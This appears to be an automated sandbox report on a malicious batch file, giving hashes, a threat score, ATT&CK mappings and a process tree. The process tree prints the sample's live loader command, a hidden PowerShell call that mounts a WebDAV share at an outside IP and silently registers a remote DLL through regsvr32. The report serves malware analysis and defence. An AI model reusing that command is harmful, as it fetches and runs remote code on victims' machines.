973f33e8dddbc95d5f2db163bbe04166b0d76461e3ee93182988d5cea49be1ae

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 08:22

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General

Target

29472277671518031665.bat
Size

15KB
MD5

2429040093aa783933379f9644054347
SHA1

c76305f1682a5755670c59530f5b0b11690a7cd1
SHA256

973f33e8dddbc95d5f2db163bbe04166b0d76461e3ee93182988d5cea49be1ae
SHA512

3b581186adc376670ee9245b6dd24c35bb6613408fd1703fe1feca65e5eb5b4fd7b850606449051257f36fe6b784d86493f26e2b28db5ecb18c03e463cf7974b
SSDEEP

384:xDd+9tYzk/xj6Io0UgAUXjhQUSByf2xv24m4oEY2+hGxBGxqZj/KU2BQQZj0:xI/YO6DlUzSUSy2xv24m4oEY2+U0aKUv

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4152	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4152	powershell.exe
4152	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4152	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
764	wordpad.exe
764	wordpad.exe
764	wordpad.exe
764	wordpad.exe
764	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 764	2500	cmd.exe	85
PID 2500 wrote to memory of 764	2500	cmd.exe	85
PID 2500 wrote to memory of 4152	2500	cmd.exe	87
PID 2500 wrote to memory of 4152	2500	cmd.exe	87
PID 4152 wrote to memory of 2032	4152	powershell.exe	89
PID 4152 wrote to memory of 2032	4152	powershell.exe	89
PID 4152 wrote to memory of 3984	4152	powershell.exe	90
PID 4152 wrote to memory of 3984	4152	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\29472277671518031665.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\294257946664.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2032
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\294257946664.dll
    3⤵
    PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kaibzzup.era.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4152-9-0x00000199CD050000-0x00000199CD072000-memory.dmp

Filesize
136KB

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